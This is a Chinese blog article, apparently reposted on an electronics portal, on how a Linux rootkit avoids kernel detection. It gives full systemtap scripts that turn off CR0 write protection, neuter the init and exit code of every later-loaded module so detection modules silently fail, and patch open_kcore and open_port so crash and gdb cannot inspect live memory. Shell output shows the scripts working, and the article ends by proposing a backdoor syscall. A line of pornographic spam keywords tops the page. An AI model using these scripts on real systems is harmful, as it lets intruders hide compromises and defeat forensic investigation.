国产精品久久久aaaa,日日干夜夜操天天插,亚洲乱熟女香蕉一区二区三区少妇,99精品国产高清一区二区三区,国产成人精品一区二区色戒,久久久国产精品成人免费,亚洲精品毛片久久久久,99久久婷婷国产综合精品电影,国产一区二区三区任你鲁

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

Linux Rootkit如何避開內核檢測的

Linux閱碼場 ? 來源:Linuxer ? 2020-06-03 15:56 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

Rootkit在登堂入室并得手后,還要記得把門鎖上。

如果我們想注入一個Rootkit到內核,同時不想被偵測到,那么我們需要做的是精妙的隱藏,并保持低調靜悄悄,這個話題我已經談過了,諸如進程摘鏈,TCP鏈接摘鏈潛伏等等,詳情參見:https://blog.csdn.net/dog250/article/details/105371830

https://blog.csdn.net/dog250/article/details/105394840

然則天網恢恢,疏而不漏,馬腳總是要露出來的。如果已經被懷疑,如何反制呢?

其實第一時間采取反制措施勢必重要!我們需要的只是占領制高點,讓后續的偵測手段無從開展。

我們必須知道都有哪些偵測措施用來應對Rootkit,常見的,不外乎以下:

systemtap,raw kprobe/jprobe,ftrace等跟蹤機制。它們通過內核模塊起作用。

自研內核模塊,采用指令特征匹配,指令校驗機制排查Rootkit。

gdb/kdb/crash調試機制,它們通過/dev/mem,/proc/kcore起作用。

和殺毒軟件打架一樣,Rootkit和反Rootkit也是互搏的對象。無論如何互搏,其戰場均在內核態。

很顯然,我們要做的就是:

第一時間封堵內核模塊的加載。

第一時間封堵/dev/mem,/proc/kcore的打開。

行文至此,我們應該已經可以說出無數種方法來完成上面的事情,對我個人而言,我的風格肯定又是二進制hook,但這次我希望用一種正規的方式來搞事情。

什么是正規的方式,什么又是奇技淫巧呢?

我們知道,Linux內核的text段是在編譯時靜態確定的,加載時偶爾有重定向,但依然保持著緊湊的布局,所有的內核函數均在一個范圍固定的緊湊內存空間內。

因此凡是往超過該固定范圍的地方進行call/jmp的,基本都是違規,都應該嚴查。換句話說,靜態代碼不能往動態內存進行直接的call/jmp(畢竟靜態代碼并不知道動態地址啊),如果靜態代碼需要動態的函數完成某種任務,那么只能用回調,而回調函數在指令層面是要借助寄存器來尋址的,而不可能用rel32立即數來尋址。

如果我們在靜態的代碼中hack掉一條call/jmp指令,使得它以新的立即數作為操作數call/jmp到我們的動態代碼,那么這就是一個奇技淫巧,這就是不正規的方式。

反之,如果我們調用Linux內核現成的接口注冊一個回調函數來完成我們的任務,那么這就是一種正規的方式,本文中我將使用一種基于內核通知鏈(notifier chain)的正規技術,來封堵內核模塊。

下面步入正題。

首先,我們來看第一點。下面的stap腳本展示了如何做:

#!/usr/bin/stap -g

// dismod.stp

%{

// 我們利用通知鏈機制。

// 每當內核模塊進行加載時,都會有消息在通知鏈上通知,我們只需要注冊一個handler。

// 我們的handler讓該模塊“假加載”!

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準rel32調用偏移,直接使用匯編

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數換成"return;" 防止偵測模塊在exit函數中做一些事情。

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function dismod()

%{

int ret = 0;

// 正規的方法,我們可以直接從vmalloc區域直接分配內存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執行(PAGE_KERNEL_EXEC)內存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notifier register failed ");

return;

}

%}

probe begin

{

dismod();

exit();

}

現在,讓我們運行上述腳本:

[root@localhost test]# ./dismod.stp

[root@localhost test]#

我們的預期是,此后所有的模塊將會“假裝”成功加載進內核,但實際上并不起任何作用,因為模塊的_init函數被短路繞過,不再執行。

來吧,我們寫一個簡單的內核模塊,看看效果:

// testmod.c

#include

noinline int test_module_function(int i)

{

printk("%d ", i);

// 我們的測試模塊非常狠,一加載就讓內核panic。

panic("shabi");

}

static int __init testmod_init(void)

{

printk("init ");

test_module_function(1234);

return 0;

}

static void __exit testmod_exit(void)

{

printk("exit ");

}

module_init(testmod_init);

module_exit(testmod_exit);

MODULE_LICENSE("GPL");

如果我們在沒有執行dismod.stp的情況下加載上述模塊,顯而易見,內核會panic,萬劫不復。但實際上呢?

編譯,加載之:

[root@localhost test]# insmod ./testmod.ko

[root@localhost test]# lsmod |grep testmod

testmod 12472 0

[root@localhost test]# cat /proc/kallsyms |grep testmod

ffffffffa010b027 t testmod_exit [testmod]

ffffffffa010d000 d __this_module [testmod]

ffffffffa010b000 t test_module_function [testmod]

ffffffffa010b027 t cleanup_module [testmod]

[root@localhost test]# rmmod testmod

[root@localhost test]#

[root@localhost test]# echo $?

0

內核什么也沒有打印,也并沒有panic,相反,模塊成功載入,并且其所有的符號均已經注冊成功,并且還能成功卸載。這意味著,模塊機制失效了!

我們試試還能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork "); }'

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.

WARNING: /usr/bin/staprun exited with status: 1

Pass 5: run failed. [man error::pass5]

看來不行了。

假設該機制用于Rootkit的反偵測,如果想用stap跟蹤內核,進而查出異常點,這一招已經失效。

接下來,讓我們封堵/dev/mem,/proc/kcore,而這個簡直太容易了:

#!/usr/bin/stap -g

// diskcore.stp

function kcore_poke()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;即返回錯誤!也就意味著“文件不可打開”。

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

// text內存已經可寫,直接用memcpy來吧。

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

probe begin

{

kcore_poke();

exit();

}

來吧,我們試一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem

...

This program has absolutely no warranty. Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)

crash [OPTION]... [NAMELIST] (live system form)

Enter "crash -h" for details.

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore

...

crash: /proc/kcore: Operation not permitted

...

哈哈,完全無法調試live kernel了!試問如何抓住Rootkit現場?

注意,上面的兩個機制,必須讓禁用/dev/mem,/proc/kcore先于封堵模塊執行,不然就會犯形而上學的錯誤,自己打自己。上述方案僅做演示,正確的做法應該是將它們合在一起:

#!/usr/bin/stap -g

// anti-sense.stp

%{

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準rel32調用偏移,直接使用匯編。

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數換成"return;"

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function diskcore()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

function dismod()

%{

int ret = 0;

// 正規的方法,我們可以直接從vmalloc區域直接分配內存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執行(PAGE_KERNEL_EXEC)內存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

printk("notify addr:%p ", _dismod_module_notify);

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notify register failed ");

return;

}

%}

probe begin

{

dismod();

diskcore();

exit();

}

從此以后,若想逮到之前的那些Rootkit,你無法加載內核模塊,無法crash調試,無法自己編程mmap /dev/mem,重啟吧!重啟之后呢?一切歸于塵土。

然而,我們自己怎么辦?這將把我們自己的退路也同時封死,只要使用電壓凍結住內存快照,離線分析,真相必將大白!我們必須給自己留個退路,以便搗毀并恢復現場后,全身而退,怎么做到呢?

很容易,還記得在文章“Linux動態為內核添加新的系統調用”中的方法嗎?我們封堵了前門的同時,以新增系統調用的方式留下后門,豈不是很正常的想法?

是的。經理也是這樣想的。

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • TCP
    TCP
    +關注

    關注

    8

    文章

    1424

    瀏覽量

    83498
  • rootkit
    +關注

    關注

    0

    文章

    8

    瀏覽量

    2940

原文標題:Linux Rootkit如何避開內核檢測的

文章出處:【微信號:LinuxDev,微信公眾號:Linux閱碼場】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關推薦
    熱點推薦

    進迭時空 Upstream | K3 獲得 Linux 7.0 內核原生支持

    2026年2月22日,隨著Linux內核正式發布v7.0-rc1版本,全球開源社區迎來了RISC-V生態的歷史性跨越。進迭時空(SpacemiT)研發的高性能RISC-VAICPU芯片K3作為全球首
    的頭像 發表于 02-27 18:10 ?7495次閱讀
    進迭時空 Upstream | K3 獲得 <b class='flag-5'>Linux</b> 7.0 <b class='flag-5'>內核</b>原生支持

    Linux內核伙伴系統內存申請函數詳解:從原理到實戰

    Linux 內核中,內存管理是整個系統穩定運行的基石,而伙伴系統(Buddy System) 作為內核物理內存分配的核心機制,更是驅動開發、內核模塊開發的必備知識點。它通過 "2
    的頭像 發表于 02-10 16:58 ?3630次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>伙伴系統內存申請函數詳解:從原理到實戰

    Linux內核的“心跳”:jiffies如何為系統計時?

    Linux 內核的世界里,有一個默默工作的 "計時器"——jiffies。它不像我們手機上的時鐘那樣顯示年月日,卻掌控著內核中絕大多數時間相關的操作:從進程調度到設備驅動的定時檢查,都離不開它的身影。
    的頭像 發表于 02-04 16:27 ?814次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>的“心跳”:jiffies如何為系統計時?

    深入RK3588內核:rockchip_linux_defconfig的作用與調試價值

    在 RK3588 芯片的 Linux 開發中,有一個文件始終是開發者繞不開的核心 ——kernel/arch/arm64/configs/rockchip_linux_defconfig。無論是首次
    的頭像 發表于 02-03 15:56 ?1154次閱讀
    深入RK3588<b class='flag-5'>內核</b>:rockchip_<b class='flag-5'>linux</b>_defconfig的作用與調試價值

    Linux系統內核參數調優實戰指南

    Linux 內核參數調優是系統性能優化的核心環節。隨著云原生架構的普及和硬件性能的飛速提升,默認的內核參數配置往往無法充分發揮系統潛力。在高并發 Web 服務、大數據處理、容器化部署等場景下,合理的
    的頭像 發表于 01-28 14:27 ?425次閱讀

    【「Linux 設備驅動開發(第 2 版)」閱讀體驗】Linux內核開發基礎

    感謝電子發燒友論壇提供的《Linux設備驅動開發(第2版)》閱讀機會,測評將從Linux內核開發基礎、Linux內核平臺抽象和設備驅動程序、
    發表于 01-12 22:45

    深入Linux內核:進程調度的核心邏輯與實現細節

    ,背后都離不開內核調度算法的精準操控。今天,我們就從優先級、調度算法、時間片分配到底層實現,全方位拆解Linux內核進程調度的核心邏輯。 一、進程調度的“身份標識”:優先級與分類 要理解調度邏輯,首先得搞懂:進程憑什么“插隊”?
    的頭像 發表于 12-24 07:05 ?4299次閱讀
    深入<b class='flag-5'>Linux</b><b class='flag-5'>內核</b>:進程調度的核心邏輯與實現細節

    基于 DR1M90 的 Linux-RT 內核開發:從編譯配置到 GPIO / 按鍵應用實現(1)

    本手冊由創龍科技研發,針對 DR1M90,詳述 Linux-RT 實時內核開發:含實時性測試(LinuxLinux-RT 對比、CPU 空載 / 滿負荷 / 隔離狀態測試)、
    的頭像 發表于 12-02 10:38 ?1175次閱讀
    基于 DR1M90 的 <b class='flag-5'>Linux</b>-RT <b class='flag-5'>內核</b>開發:從編譯配置到 GPIO / 按鍵應用實現(1)

    Linux內核printk日志級別全解析:從參數解讀到實操配置

    一、開篇:一個命令引出的核心問題 在?Linux?終端執行?cat /proc/sys/kernel/printk,你可能會看到這樣的輸出: 這串數字不是隨機的,而是內核日志系統的“核心配置開關
    的頭像 發表于 11-20 15:54 ?1696次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>printk日志級別全解析:從參數解讀到實操配置

    deepin亮相2025中國Linux內核開發者大會

    11 月 1 日,第二十屆中國 Linux 內核開發者大會(CLK)在深圳舉辦。CLK 作為國內 Linux 內核領域極具影響力的峰會,由清華大學、Intel、華為、阿里云、富士通南大
    的頭像 發表于 11-05 17:59 ?815次閱讀

    如何將 GPIO PWM 和 GPIO Capture 驅動程序導入 Linux 內核,實現 PWM 輸出并檢測引腳的變化狀態?

    如何將 GPIO PWM 和 GPIO Capture 驅動程序導入 Linux 內核,實現 PWM 輸出并檢測引腳的變化狀態
    發表于 08-20 08:20

    Linux內核參數調優方案

    在高并發微服務環境中,網絡性能往往成為K8s集群的瓶頸。本文將深入探討如何通過精細化的Linux內核參數調優,讓你的K8s節點網絡性能提升30%以上。
    的頭像 發表于 08-06 17:50 ?946次閱讀

    如何配置和驗證Linux內核參數

    Linux系統運維和性能優化中,內核參數(sysctl)的配置至關重要。合理的參數調整可以顯著提升網絡性能、系統穩定性及資源利用率。然而,僅僅修改參數是不夠的,如何驗證這些參數是否生效同樣關鍵。
    的頭像 發表于 05-29 17:40 ?1150次閱讀

    Linux內核編譯失敗?移動硬盤和虛擬機的那些事兒

    Linux開發中,編譯內核是一項常見任務,但不少開發者在移動硬盤或虛擬機環境下嘗試時會遭遇失敗。本文將簡要探討這些問題的成因,并介紹一些虛擬機使用技巧,幫助大家更好地應對相關問題。在移動硬盤里編譯
    的頭像 發表于 04-11 11:36 ?991次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>編譯失敗?移動硬盤和虛擬機的那些事兒

    樹莓派4 性能大比拼:標準Linux與實時Linux 4.19內核的延遲測試

    引言本文是對我之前關于RaspberryPi3同一主題的帖子的更新。與之前的帖子一樣,我使用的是隨Raspbian鏡像提供的標準內核,以及應用了RT補丁的相似內核版本。對于實時版,我
    的頭像 發表于 03-25 09:39 ?809次閱讀
    樹莓派4 性能大比拼:標準<b class='flag-5'>Linux</b>與實時<b class='flag-5'>Linux</b> 4.19<b class='flag-5'>內核</b>的延遲測試